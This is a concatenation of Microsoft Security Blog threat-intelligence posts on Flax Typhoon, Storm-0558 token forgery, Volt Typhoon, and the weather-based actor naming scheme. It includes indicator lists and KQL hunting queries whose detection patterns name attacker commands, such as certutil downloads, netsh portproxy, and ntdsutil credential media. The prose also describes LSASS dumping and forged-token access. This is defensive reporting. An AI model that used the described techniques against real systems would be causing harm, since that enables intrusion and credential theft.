    "101.33.205.106", datetime("2022-11-07"), datetime("2022-11-08"),
    "39.98.208.61", datetime("2023-07-28"), datetime("2023-08-12"),
    "45.195.149.224", datetime("2023-01-04"), datetime("2023-03-29"),
    "122.10.89.230", datetime("2023-01-12"), datetime("2023-01-13"),
    "45.204.1.248", datetime("2023-02-23"), datetime("2023-05-09"),
    "45.204.1.247", datetime("2023-07-24"), datetime("2023-08-10"),
    "45.88.192.118", datetime("2022-11-07"), datetime("2022-11-08"),
    "154.19.187.92", datetime("2022-12-01"), datetime("2022-12-02"),
    "134.122.188.20", datetime("2023-06-13"), datetime("2023-06-20"),
    "104.238.149.146", datetime("2023-07-13"), datetime("2023-07-14"),
    "139.180.158.51", datetime("2022-08-30"), datetime("2023-07-27"),
    "137.220.36.87", datetime("2023-02-23"), datetime("2023-08-04"),
    "192.253.235.107", datetime("2023-06-06"), datetime("2023-06-07")
];
let RemoteIPFiltered = DeviceNetworkEvents
    | join kind=inner (ipAddressTimes) on $left.RemoteIP == $right.ip
    | where Timestamp between (startDate .. endDate);
let LocalIPFiltered = DeviceNetworkEvents
    | join kind=inner (ipAddressTimes) on $left.LocalIP == $right.ip
    | where Timestamp between (startDate .. endDate);
union RemoteIPFiltered, LocalIPFiltered

SoftEther VPN bridge launched by SQL Server process

DeviceProcessEvents 
| where ProcessVersionInfoOriginalFileName == "vpnbridge.exe" or ProcessVersionInfoFileDescription == "SoftEther VPN"  
| where InitiatingProcessParentFileName == "sqlservr.exe"

SoftEther VPN bridge renamed to “conhost.exe” or “dllhost.exe”

DeviceProcessEvents 
| where ProcessVersionInfoOriginalFileName == "vpnbridge.exe" or ProcessVersionInfoFileDescription == "SoftEther VPN"  
| where ProcessCommandLine has_any ("conhost.exe", "dllhost.exe") or FolderPath has_any ("mssql", "conhost.exe", "dllhost.exe")

Certutil launched by SQL Server process

DeviceProcessEvents 
| where ProcessCommandLine has_all ("certutil", "-urlcache") 
| where InitiatingProcessFileName has_any ("sqlservr.exe", "sqlagent.exe", "sqlps.exe", "launchpad.exe", "sqldumper.exe")

File downloaded by MSSQLSERVER account using certutil

DeviceFileEvents 
| where InitiatingProcessAccountName == "MSSQLSERVER"  
| where InitiatingProcessFileName == "certutil.exe"

File renamed to “conhost.exe” or “dllhost.exe”, downloaded using certutil

DeviceFileEvents 
| where InitiatingProcessFileName == "certutil.exe" 
| where FileName in ("conhost.exe", "dllhost.exe") 

Network connection made by SoftEther VPN bridge renamed to “conhost.exe” or “dllhost.exe”

DeviceNetworkEvents 
| where InitiatingProcessVersionInfoOriginalFileName == "vpnbridge.exe" or InitiatingProcessVersionInfoProductName == "SoftEther VPN" 
| where InitiatingProcessFileName == "conhost.exe"

Network connection made by MSSQLSERVER account, using SoftEther VPN bridge

DeviceNetworkEvents 
| where InitiatingProcessVersionInfoOriginalFileName == "vpnbridge.exe" or InitiatingProcessVersionInfoProductName == "SoftEther VPN" 
| where InitiatingProcessAccountName == "MSSQLSERVER"

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

Microsoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft 365 Defender detections list above.

• Possible web shell drop
• Web shell activity
• Potential local privilege escalation
• Anomalous RDP activity
• Accessibility features modification
• Certutil-LOLBins
• Bitsadmin activity
• Suspected LSASS dump
• Credential dumping service installation

Indicators of compromise

In addition to compromised SOHO devices and compromised devices used for traffic proxying, Flax Typhoon maintains actor-controlled network infrastructure, including virtual private servers (VPS). Over the course of the campaign, the IP addresses listed in the table below were used during the corresponding timeframes.

Flax Typhoon hosts its SofEther VPN servers on its own network infrastructure. Because the servers use the HTTPS protocol to disguise network traffic, they must present TLS certificates. Flax Typhoon used the certificates listed in the table below on these VPN servers.

References

• https://attack.mitre.org/techniques/T1190
• https://attack.mitre.org/techniques/T1505/003/
• https://attack.mitre.org/software/S0020/
• https://github.com/ohpe/juicy-potato
• https://github.com/BeichenDream/BadPotato
• https://attack.mitre.org/techniques/T1059
• https://attack.mitre.org/techniques/T1546/008/
• https://attack.mitre.org/techniques/T1105/
• https://github.com/SoftEtherVPN/SoftEtherVPN_Stable
• https://attack.mitre.org/techniques/T1543/003
• https://attack.mitre.org/techniques/T1036/005/
• https://github.com/SoftEtherVPN/SoftEtherVPN_Stable/blob/master/WARNING.TXT
• https://attack.mitre.org/techniques/T1572/
• https://attack.mitre.org/techniques/T1003/001/
• https://attack.mitre.org/techniques/T1003/002/
• https://attack.mitre.org/techniques/T1550/002/

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us at https://twitter.com/MsftSecIntel.

The post Flax Typhoon using legitimate software to quietly access Taiwanese organizations appeared first on Microsoft Security Blog.

Executive summary

On July 11, 2023, Microsoft published two blogs detailing a malicious campaign by a threat actor tracked as Storm-0558 that targeted customer email that we’ve detected and mitigated: Microsoft Security Response Center and Microsoft on the Issues. As we continue our investigation into this incident and deploy defense in depth measures to harden all systems involved, we’re providing this deeper analysis of the observed actor techniques for obtaining unauthorized access to email data, tools, and unique infrastructure characteristics.

September 6, 2023 update – Microsoft has completed a comprehensive technical investigation into Storm-0558’s acquisition of the Microsoft account consumer signing key. Investigation findings are released on the Microsoft Security Response Center blog: Results of major technical investigations for Storm-0558 key acquisition. 

August 2024 update – Microsoft now tracks Storm-0558 as Antique Typhoon.

As described in more detail in our July 11 blogs, Storm-0558 is a China-based threat actor with espionage objectives. Beginning May 15, 2023, Storm-0558 used forged authentication tokens to access user email from approximately 25 organizations, including government agencies and related consumer accounts in the public cloud. No other environment was impacted. Microsoft has successfully blocked this campaign from Storm-0558. As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments.

Since identification of this malicious campaign on June 16, 2023, Microsoft has identified the root cause, established durable tracking of the campaign, disrupted malicious activities, hardened the environment, notified every impacted customer, and coordinated with multiple government entities. We continue to investigate and monitor the situation and will take additional steps to protect customers.

Actor overview

Microsoft Threat Intelligence assesses with moderate confidence that Storm-0558 is a China-based threat actor with activities and methods consistent with espionage objectives. While we have discovered some minimal overlaps with other Chinese groups such as Violet Typhoon (ZIRCONIUM, APT31), we maintain high confidence that Storm-0558 operates as its own distinct group.

Figure 1 shows Storm-0558 working patterns from April to July 2023; the actor’s core working hours are consistent with working hours in China, Monday through Friday from 12:00 AM UTC (8:00 AM China Standard time) through 09:00 AM UTC (5:00 PM China Standard Time).

In past activity observed by Microsoft, Storm-0558 has primarily targeted US and European diplomatic, economic, and legislative governing bodies, and individuals connected to Taiwan and Uyghur geopolitical interests. 

Historically, this threat actor has displayed an interest in targeting media companies, think tanks, and telecommunications equipment and service providers. The objective of most Storm-0558 campaigns is to obtain unauthorized access to email accounts belonging to employees of targeted organizations. Storm-0558 pursues this objective through credential harvesting, phishing campaigns, and OAuth token attacks. This threat actor has displayed an interest in OAuth applications, token theft, and token replay against Microsoft accounts since at least August 2021. Storm-0558 operates with a high degree of technical tradecraft and operational security. The actors are keenly aware of the target’s environment, logging policies, authentication requirements, policies, and procedures. Storm-0558’s tooling and reconnaissance activity suggests the actor is technically adept, well resourced, and has an in-depth understanding of many authentication techniques and applications.

In the past, Microsoft has observed Storm-0558 obtain credentials for initial access through phishing campaigns. The actor has also exploited vulnerabilities in public-facing applications to gain initial access to victim networks. These exploits typically result in web shells, including China Chopper, being deployed on compromised servers. One of the most prevalent malware families used by Storm-0558 is a shared tool tracked by Microsoft as Cigril. This family exists in several variants and is launched using dynamic-link library (DLL) search order hijacking.

After gaining access to a compromised system, Storm-0558 accesses credentials from a variety of sources, including the LSASS process memory and Security Account Manager (SAM) registry hive. Microsoft assesses that once Storm-0558 has access to the desired user credentials, the actor signs into the compromised user’s cloud email account with the valid account credentials. The actor then collects information from the email account over the web service.

Initial discovery and analysis of current activity

On June 16, 2023, Microsoft was notified by a customer of anomalous Exchange Online data access. Microsoft analysis attributed the activity to Storm-0558 based on established prior TTPs. We determined that Storm-0558 was accessing the customer’s Exchange Online data using Outlook Web Access (OWA). Microsoft’s investigative workflow initially assumed the actor was stealing correctly issued Azure Active Directory (Azure AD) tokens, most probably using malware on infected customer devices. Microsoft analysts later determined that the actor’s access was utilizing Exchange Online authentication artifacts, which are typically derived from Azure AD authentication tokens (Azure AD tokens). Further in-depth analysis over the next several days led Microsoft analysts to assess that the internal Exchange Online authentication artifacts did not correspond to Azure AD tokens in Microsoft logs.

Microsoft analysts began investigating the possibility that the actor was forging authentication tokens using an acquired Azure AD enterprise signing key. In-depth analysis of the Exchange Online activity discovered that in fact the actor was forging Azure AD tokens using an acquired Microsoft account (MSA) consumer signing key. This was made possible by a validation error in Microsoft code. The use of an incorrect key to sign the requests allowed our investigation teams to see all actor access requests which followed this pattern across both our enterprise and consumer systems. Use of the incorrect key to sign this scope of assertions was an obvious indicator of the actor activity as no Microsoft system signs tokens in this way. Use of acquired signing material to forge authentication tokens to access customer Exchange Online data differs from previously observed Storm-0558 activity. Microsoft’s investigations have not detected any other use of this pattern by other actors and Microsoft has taken steps to block related abuse.

Actor techniques

Token forgery

Authentication tokens are used to validate the identity of entities requesting access to resources – in this case, email. These tokens are issued to the requesting entity (such as a user’s browser) by identity providers like Azure AD. To prove authenticity, the identity provider signs the token using a private signing key. The relying party validates the token presented by the requesting entity by using a public validation key. Any request whose signature is correctly validated by the published public validation key will be trusted by the relying party. An actor that can acquire a private signing key can then create falsified tokens with valid signatures that will be accepted by relying parties. This is called token forgery.

Storm-0558 acquired an inactive MSA consumer signing key and used it to forge authentication tokens for Azure AD enterprise and MSA consumer to access OWA and Outlook.com. All MSA keys active prior to the incident – including the actor-acquired MSA signing key – have been invalidated. Azure AD keys were not impacted. The method by which the actor acquired the key is a matter of ongoing investigation. Though the key was intended only for MSA accounts, a validation issue allowed this key to be trusted for signing Azure AD tokens. This issue has been corrected.

As part of defense in depth, we continuously update our systems. We have substantially hardened key issuance systems since the acquired MSA key was initially issued. This includes increased isolation of the systems, refined monitoring of system activity, and moving to the hardened key store used for our enterprise systems. We have revoked all previously active keys and issued new keys using these updated systems. Our active investigation indicates these hardening and isolation improvements disrupt the mechanisms we believe the actor could have used to acquire MSA signing keys. No key-related actor activity has been observed since Microsoft invalidated the actor-acquired MSA signing key. Further, we have seen Storm-0558 transition to other techniques, which indicates that the actor is not able to utilize or access any signing keys. We continue to explore other ways the key may have been acquired and add additional defense in depth measures.

Identity techniques for access

Once authenticated through a legitimate client flow leveraging the forged token, the threat actor accessed the OWA API to retrieve a token for Exchange Online from the GetAccessTokenForResource API used by OWA. The actor was able to obtain new access tokens by presenting one previously issued from this API due to a design flaw. This flaw in the GetAccessTokenForResourceAPI has since been fixed to only accept tokens issued from Azure AD or MSA respectively. The actor used these tokens to retrieve mail messages from the OWA API. 

Actor tooling

Microsoft Threat Intelligence routinely identifies threat actor capabilities and leverages file intelligence to facilitate our protection of Microsoft customers. During this investigation, we identified several distinct Storm-0558 capabilities that facilitate the threat actor’s intrusion techniques. The capabilities described in this section are not expected to be present in the victim environment.

Storm-0558 uses a collection of PowerShell and Python scripts to perform REST API calls against the OWA Exchange Store service. For example, Storm-0558 has the capability to use minted access tokens to extract email data such as:

• Download emails
• Download attachments
• Locate and download conversations
• Get email folder information

The generated web requests can be routed through a Tor proxy or several hardcoded SOCKS5 proxy servers. The threat actor was observed using several User-Agents when issuing web requests, for example:

• Client=REST;Client=RESTSystem;;
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.52
• “Microsoft Edge”;v=”113″, “Chromium”;v=”113″, “Not-A.Brand”;v=”24″

The scripts contain highly sensitive hardcoded information such as bearer access tokens and email data, which the threat actor uses to perform the OWA API calls. The threat actor has the capability to refresh the access token for use in subsequent OWA commands.

Actor infrastructure

During significant portions of Storm-0558’s malicious activities, the threat actor leveraged dedicated infrastructure running the SoftEther proxy software. Proxy infrastructure complicates detection and attribution of Storm-0558 activities. During our response, Microsoft Threat Intelligence identified a unique method of profiling this proxy infrastructure and correlated with behavioral characteristics of the actor intrusion techniques. Our profile was based on the following facets:

1. Hosts operating as part of this network present a JARM fingerprint consistent with SoftEther VPN: 06d06d07d06d06d06c42d42d000000cdb95e27fd8f9fee4a2bec829b889b8b.
2. Presented x509 certificate has expiration date of December 31, 2037.
3. Subject information within the x509 certificate does not contain “softether”.

Over the course of the campaign, the IPs listed in the table below were used during the corresponding timeframes.

As early as May 15, 2023, Storm-0558 shifted to using a separate series of dedicated infrastructure servers specifically for token replay and interaction with Microsoft services. It is likely that the dedicated infrastructure and supporting services configured on this infrastructure offered a more efficient manner of facilitating the actor’s activities. The dedicated infrastructure would host an actor-developed web panel that presented an authentication page at URI /#/login. The observed sign-in pages had one of two SHA-1 hashes: 80d315c21fc13365bba5b4d56357136e84ecb2d4 and 931e27b6f1a99edb96860f840eb7ef201f6c68ec.

As part of the intelligence-driven response to this campaign, and in support of tracking, analyzing, and disrupting actor activity, analytics were developed to proactively track the dedicated infrastructure. Through this tracking, we identified the following dedicated infrastructure.

The last observed dedicated token replay infrastructure associated with this activity was stood down on July 4, 2023, roughly one day following the coordinated mitigation conducted by Microsoft. 

Post-compromise activity

Our telemetry and investigations indicate that post-compromise activity was limited to email access and exfiltration for targeted users.

Mitigation and hardening

No customer action is required to mitigate the token forgery technique or validation error in OWA or Outlook.com. Microsoft has mitigated this issue on customers’ behalf as follows:

• On June 26, OWA stopped accepting tokens issued from GetAccessTokensForResource for renewal, which mitigated the token renewal being abused.
• On June 27, Microsoft blocked the usage of tokens signed with the acquired MSA key in OWA preventing further threat actor enterprise mail activity.
• On June 29, Microsoft completed replacement of the key to prevent the threat actor from using it to forge tokens. Microsoft revoked all MSA signing which were valid at the time of the incident, including the actor-acquired MSA key. The new MSA signing keys are issued in substantially updated systems which benefit from hardening not present at issuance of the actor-acquired MSA key:
  • Microsoft has increased the isolation of these systems from corporate environments, applications, and users.Microsoft has refined monitoring of all systems related to key activity, and increased automated alerting related to this monitoring.
  • Microsoft has moved the MSA signing keys to the key store used for our enterprise systems.
• On July 3, Microsoft blocked usage of the key for all impacted consumer customers to prevent use of previously-issued tokens.

Ongoing monitoring indicates that all actor activity related to this incident has been blocked. Microsoft will continue to monitor Storm-0558 activity and implement protections for our customers.

Recommendations

Microsoft has mitigated this activity on our customers’ behalf for Microsoft services. No customer action is required to prevent threat actors from using the techniques described above to access Exchange Online and Outlook.com.

Indicators of compromise

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Analysis of Storm-0558 techniques for unauthorized email access appeared first on Microsoft Security Blog.

Volt Typhoon has been active since mid-2021 and has targeted critical infrastructure organizations in Guam and elsewhere in the United States. In this campaign, the affected organizations span the communications, manufacturing, utility, transportation, construction, maritime, government, information technology, and education sectors. Observed behavior suggests that the threat actor intends to perform espionage and maintain access without being detected for as long as possible. Microsoft is choosing to highlight this Volt Typhoon activity at this time because of our significant concern around the potential for further impact to our customers. Although our visibility into these threats has given us the ability to deploy detections to our customers, the lack of visibility into other parts of the actor’s activity compelled us to drive broader community awareness and further investigations and protections across the security ecosystem.

To achieve their objective, the threat actor puts strong emphasis on stealth in this campaign, relying almost exclusively on living-off-the-land techniques and hands-on-keyboard activity. They issue commands via the command line to (1) collect data, including credentials from local and network systems, (2) put the data into an archive file to stage it for exfiltration, and then (3) use the stolen valid credentials to maintain persistence. In addition, Volt Typhoon tries to blend into normal network activity by routing traffic through compromised small office and home office (SOHO) network equipment, including routers, firewalls, and VPN hardware. They have also been observed using custom versions of open-source tools to establish a command and control (C2) channel over proxy to further stay under the radar.

In this blog post, we share information on Volt Typhoon, their campaign targeting critical infrastructure providers, and their tactics for achieving and maintaining unauthorized access to target networks. Because this activity relies on valid accounts and living-off-the-land binaries (LOLBins), detecting and mitigating this attack could be challenging. Compromised accounts must be closed or changed. At the end of this blog post, we share more mitigation steps and best practices, as well as provide details on how Microsoft 365 Defender detects malicious and suspicious activity to protect organizations from such stealthy attacks. The National Security Agency (NSA) has also published a Cybersecurity Advisory [PDF] which contains a hunting guide for the tactics, techniques, and procedures (TTPs) discussed in this blog.

As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments. To learn about Microsoft’s approach to threat actor tracking, read Microsoft shifts to a new threat actor naming taxonomy.

Initial access

Volt Typhoon achieves initial access to targeted organizations through internet-facing Fortinet FortiGuard devices. Microsoft continues to investigate Volt Typhoon’s methods for gaining access to these devices.

The threat actor attempts to leverage any privileges afforded by the Fortinet device, extracts credentials to an Active Directory account used by the device, and then attempts to authenticate to other devices on the network with those credentials.

Volt Typhoon proxies all its network traffic to its targets through compromised SOHO network edge devices (including routers). Microsoft has confirmed that many of the devices, which include those manufactured by ASUS, Cisco, D-Link, NETGEAR, and Zyxel, allow the owner to expose HTTP or SSH management interfaces to the internet. Owners of network edge devices should ensure that management interfaces are not exposed to the public internet in order to reduce their attack surface. By proxying through these devices, Volt Typhoon enhances the stealth of their operations and lowers overhead costs for acquiring infrastructure.

Post-compromise activity

Once Volt Typhoon gains access to a target environment, they begin conducting hands-on-keyboard activity via the command line. Some of these commands appear to be exploratory or experimental, as the operators adjust and repeat them multiple times.

Volt Typhoon rarely uses malware in their post-compromise activity. Instead, they rely on living-off-the-land commands to find information on the system, discover additional devices on the network, and exfiltrate data. We describe their activities in the following sections, including the most impactful actions that relate to credential access.

Credential access

If the account that Volt Typhoon compromises from the Fortinet device has privileged access, they use that account to perform the following credential access activities.

Microsoft has observed Volt Typhoon attempting to dump credentials through the Local Security Authority Subsystem Service (LSASS). The LSASS process memory space contains hashes for the current user’s operating system (OS) credentials.

Volt Typhoon also frequently attempts to use the command-line tool Ntdsutil.exe to create installation media from domain controllers, either remotely or locally. These media are intended to be used in the installation of new domain controllers. The files in the installation media contain usernames and password hashes that the threat actors can crack offline, giving them valid domain account credentials that they could use to regain access to a compromised organization if they lose access.

Discovery

Microsoft has observed Volt Typhoon discovering system information, including file system types; drive names, size, and free space; running processes; and open networks. They also attempt to discover other systems on the compromised network using PowerShell, Windows Management Instrumentation Command-line (WMIC), and the ping command. In a small number of cases, the threat actors run system checks to determine if they are operating within a virtualized environment.

Collection

In addition to operating system and domain credentials, Volt Typhoon dumps information from local web browser applications. Microsoft has also observed the threat actors staging collected data in password-protected archives.

Command and control

In most cases, Volt Typhoon accesses compromised systems by signing in with valid credentials, the same way authorized users do. However, in a small number of cases, Microsoft has observed Volt Typhoon operators creating proxies on compromised systems to facilitate access. They accomplish this with the built-in netsh portproxy command.

In rare cases, they also use custom versions of open-source tools Impacket and Fast Reverse Proxy (FRP) to establish a C2 channel over proxy.

Compromised organizations will observe C2 access in the form of successful sign-ins from unusual IP addresses. The same user account used for these sign-ins may be linked to command-line activity conducting further credential access. Microsoft will continue to monitor Volt Typhoon and track changes in their activity and tooling.

Mitigation and protection guidance

Mitigating risk from adversaries like Volt Typhoon that rely on valid accounts and living-off-the-land binaries (LOLBins) is particularly challenging. Detecting activity that uses normal sign-in channels and system binaries requires behavioral monitoring. Remediation requires closing or changing credentials for compromised accounts. Suspected compromised accounts or affected systems should be investigated:

• Identify LSASS dumping and domain controller installation media creation to identify affected accounts.
• Examine the activity of compromised accounts for any malicious actions or exposed data.
• Close or change credentials for all compromised accounts. Depending on the level of collection activity, many accounts may be affected.

Defending against this campaign

• Mitigate the risk of compromised valid accounts by enforcing strong multi-factor authentication (MFA) policies using hardware security keys or Microsoft Authenticator. Passwordless sign-in, password expiration rules, and deactivating unused accounts can also help mitigate risk from this access method.
• Reduce the attack surface. Microsoft customers can turn on the following attack surface reduction rules to block or audit some observed activity associated with this threat:
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe).Block process creations originating from PSExec and WMI commands. Some organizations may experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI.
  • Block execution of potentially obfuscated scripts.
• Harden the LSASS process by enabling Protective Process Light (PPL) for LSASS on Windows 11 devices. New, enterprise-joined Windows 11 (22H2 update) installs have this feature enabled by default. In addition, enable Windows Defender Credential Guard, which is also turned on by default for organizations using the Enterprise edition of Windows 11.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools, techniques, and behaviors such as those exhibited by Volt Typhoon.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat, or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-compromise.

Detection details and hunting queries

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects attempted post-compromise activity. Note, however, that these alerts can also be triggered by threat activity unrelated to Volt Typhoon. Turn on cloud-delivered protection to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block most new and unknown threats.

• Behavior:Win32/SuspNtdsUtilUsage.A
• Behavior:Win32/SuspPowershellExec.E
• Behavior:Win32/SuspRemoteCmdCommandParent.A
• Behavior:Win32/UNCFilePathOperation
• Behavior:Win32/VSSAmsiCaller.A
• Behavior:Win32/WinrsCommand.A
• Behavior:Win32/WmiSuspProcExec.J!se
• Behavior:Win32/WmicRemote.A
• Behavior:Win32/WmiprvseRemoteProc.B

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint alerts with the following titles can indicate possible presence of Volt Typhoon activity.

• Volt Typhoon threat actor detected

The following alerts may also be associated with Volt Typhoon activity. Note, however, that these alerts can also be triggered by threat activity unrelated to Volt Typhoon.

• A machine was configured to forward traffic to a non-local address
• Ntdsutil collecting Active Directory information
• Password hashes dumped from LSASS memory
• Suspicious use of wmic.exe to execute code
• Impacket toolkit

Hunting queries

Microsoft 365 Defender

Volt Typhoon’s post-compromise activity usually includes distinctive commands. Searching for these can help to determine the scope and impact of an incident.

Find commands creating domain controller installation media

This query can identify domain controller installation media creation commands similar to those used by Volt Typhoon.

DeviceProcessEvents
| where ProcessCommandLine has_all ("ntdsutil", "create full", "pro")

Find commands establishing internal proxies

This query can identify commands that establish internal proxies similar to those used by Volt Typhoon.

DeviceProcessEvents
| where ProcessCommandLine has_all ("portproxy", "netsh", "wmic", "process call create", "v4tov4")

Find detections of custom FRP executables

This query can identify alerts on files that match the SHA-256 hashes of known Volt Typhoon custom FRP binaries.

AlertEvidence
| where SHA256 in 
('baeffeb5fdef2f42a752c65c2d2a52e84fb57efc906d981f89dd518c314e231c', 
'b4f7c5e3f14fb57be8b5f020377b993618b6e3532a4e1eb1eae9976d4130cc74', 
'4b0c4170601d6e922cf23b1caf096bba2fade3dfcf92f0ab895a5f0b9a310349', 
'c0fc29a52ec3202f71f6378d9f7f9a8a3a10eb19acb8765152d758aded98c76d', 
'd6ab36cb58c6c8c3527e788fc9239d8dcc97468b6999cf9ccd8a815c8b4a80af', 
'9dd101caee49c692e5df193b236f8d52a07a2030eed9bd858ed3aaccb406401a', 
'450437d49a7e5530c6fb04df2e56c3ab1553ada3712fab02bd1eeb1f1adbc267', 
'93ce3b6d2a18829c0212542751b309dacbdc8c1d950611efe2319aa715f3a066', 
'7939f67375e6b14dfa45ec70356e91823d12f28bbd84278992b99e0d2c12ace5', 
'389a497f27e1dd7484325e8e02bbdf656d53d5cf2601514e9b8d8974befddf61', 
'c4b185dbca490a7f93bc96eefb9a597684fdf532d5a04aa4d9b4d4b1552c283b', 
'e453e6efc5a002709057d8648dbe9998a49b9a12291dee390bb61c98a58b6e95', 
'6036390a2c81301a23c9452288e39cb34e577483d121711b6ba6230b29a3c9ff', 
'cd69e8a25a07318b153e01bba74a1ae60f8fc28eb3d56078f448461400baa984', 
'17506c2246551d401c43726bdaec800f8d41595d01311cf38a19140ad32da2f4', 
'8fa3e8fdbaa6ab5a9c44720de4514f19182adc0c9c6001c19cf159b79c0ae9c2', 
'd17317e1d5716b09cee904b8463a203dc6900d78ee2053276cc948e4f41c8295', 
'472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d', 
'3e9fc13fab3f8d8120bd01604ee50ff65a40121955a4150a6d2c007d34807642')

Microsoft Sentinel

Below are some suggested queries to assist Microsoft Sentinel customers in identifying Volt Typhoon activity in their environment:

• LSASS process memory dumping
• Potential Impacket execution
• Domain controller installation media creation commands similar to those used by Volt Typhoon
• Commands that set up internal proxies resembling the ones employed by Volt Typhoon

Microsoft customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious hash indicators (related to the custom Fast Reverse Proxy binaries) mentioned in this blog post. These analytics are part of the Threat Intelligence solution and can be installed from the Microsoft Sentinel Content Hub if not currently deployed. More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

Indicators of compromise (IOCs)

The below list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protection to identify past related activity and prevent future attacks against their systems.

Volt Typhoon custom FRP executable (SHA-256):

• baeffeb5fdef2f42a752c65c2d2a52e84fb57efc906d981f89dd518c314e231c
• b4f7c5e3f14fb57be8b5f020377b993618b6e3532a4e1eb1eae9976d4130cc74
• 4b0c4170601d6e922cf23b1caf096bba2fade3dfcf92f0ab895a5f0b9a310349
• c0fc29a52ec3202f71f6378d9f7f9a8a3a10eb19acb8765152d758aded98c76d
• d6ab36cb58c6c8c3527e788fc9239d8dcc97468b6999cf9ccd8a815c8b4a80af
• 9dd101caee49c692e5df193b236f8d52a07a2030eed9bd858ed3aaccb406401a
• 450437d49a7e5530c6fb04df2e56c3ab1553ada3712fab02bd1eeb1f1adbc267
• 93ce3b6d2a18829c0212542751b309dacbdc8c1d950611efe2319aa715f3a066
• 7939f67375e6b14dfa45ec70356e91823d12f28bbd84278992b99e0d2c12ace5
• 389a497f27e1dd7484325e8e02bbdf656d53d5cf2601514e9b8d8974befddf61
• c4b185dbca490a7f93bc96eefb9a597684fdf532d5a04aa4d9b4d4b1552c283b
• e453e6efc5a002709057d8648dbe9998a49b9a12291dee390bb61c98a58b6e95
• 6036390a2c81301a23c9452288e39cb34e577483d121711b6ba6230b29a3c9ff
• cd69e8a25a07318b153e01bba74a1ae60f8fc28eb3d56078f448461400baa984
• 17506c2246551d401c43726bdaec800f8d41595d01311cf38a19140ad32da2f4
• 8fa3e8fdbaa6ab5a9c44720de4514f19182adc0c9c6001c19cf159b79c0ae9c2
• d17317e1d5716b09cee904b8463a203dc6900d78ee2053276cc948e4f41c8295
• 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d
• 3e9fc13fab3f8d8120bd01604ee50ff65a40121955a4150a6d2c007d34807642

The post Volt Typhoon targets US critical infrastructure with living-off-the-land techniques appeared first on Microsoft Security Blog.

April 19, 2023 update – We have published a JSON file mapping old threat actor names with their new names in the updated taxonomy, summarized here: https://aka.ms/threatactors. We also added hunting queries that Microsoft customers can use while transitioning to the new taxonomy. See the Resources section.

Today, Microsoft is excited to announce that we are shifting to a new threat actor naming taxonomy aligned to the theme of weather. The complexity, scale, and volume of threats is increasing, driving the need to reimagine not only how Microsoft talks about threats but also how we enable customers to understand those threats quickly and with clarity. With the new taxonomy, we intend to bring better context to customers and security researchers that are already confronted with an overwhelming amount of threat intelligence data. It will offer a more organized, memorable, and easy way to reference adversary groups so that organizations can better prioritize threats and protect themselves. Simply put, security professionals will instantly have an idea of the type of threat actor they are up against, just by reading the name.

The Microsoft Threat Intelligence community has spent over a decade discovering, tracking, and identifying targeted malicious activity and sharing that critical intelligence with customers. Our threat research has grown to track more than 300 unique threat actors, including 160 nation-state actors, 50 ransomware groups, and hundreds of others. A global multi-disciplinary assembly of threat intelligence analysts, pen testers, and data scientists work together alongside experts in geopolitics and disinformation to take a whole-of-adversary approach. This helps Microsoft Threat Intelligence teams fully understand the what of an attack, make assessments on the why, then forecast and implement protections for where an attacker might go next. Our vision is that this new naming model helps our customers and the industry move to a more proactive approach to defense.

We realize that other vendors in the industry also have unique naming taxonomies representing their distinct view of threats based on their intelligence. However, there are often overlaps or close alignments with tracked actors, and keeping track of these names can be challenging for defenders. Microsoft Threat Intelligence is committed to helping customers understand threats, no matter which naming taxonomy they are familiar with. Therefore, we will strive to also include other threat actor names within our security products to reflect these analytic overlaps and help customers make well-informed decisions.

The Microsoft threat actor taxonomy explained

In our new taxonomy, threat actor groups will be named after weather events. A weather event or “family name” represents either a nation-state actor attribution (e.g., Typhoon indicates origin or attribution to China) or a motivation (e.g., Tempest indicates financially motivated actors). The table below shows the threat actor groups Microsoft tracks and their assigned weather events in the new naming convention.

Threat actors within the same weather family are given an adjective to distinguish actor groups that have distinct TTPs, infrastructure, objectives, or other identified patterns. The examples below show how the naming system works for Russia and Iran.

Note: Our latest blog about the Iranian threat actor Mint Sandstorm (previously PHOSPHORUS) reflects the new naming taxonomy: Nation-state threat actor Mint Sandstorm refines tradecraft to attack high-value targets.

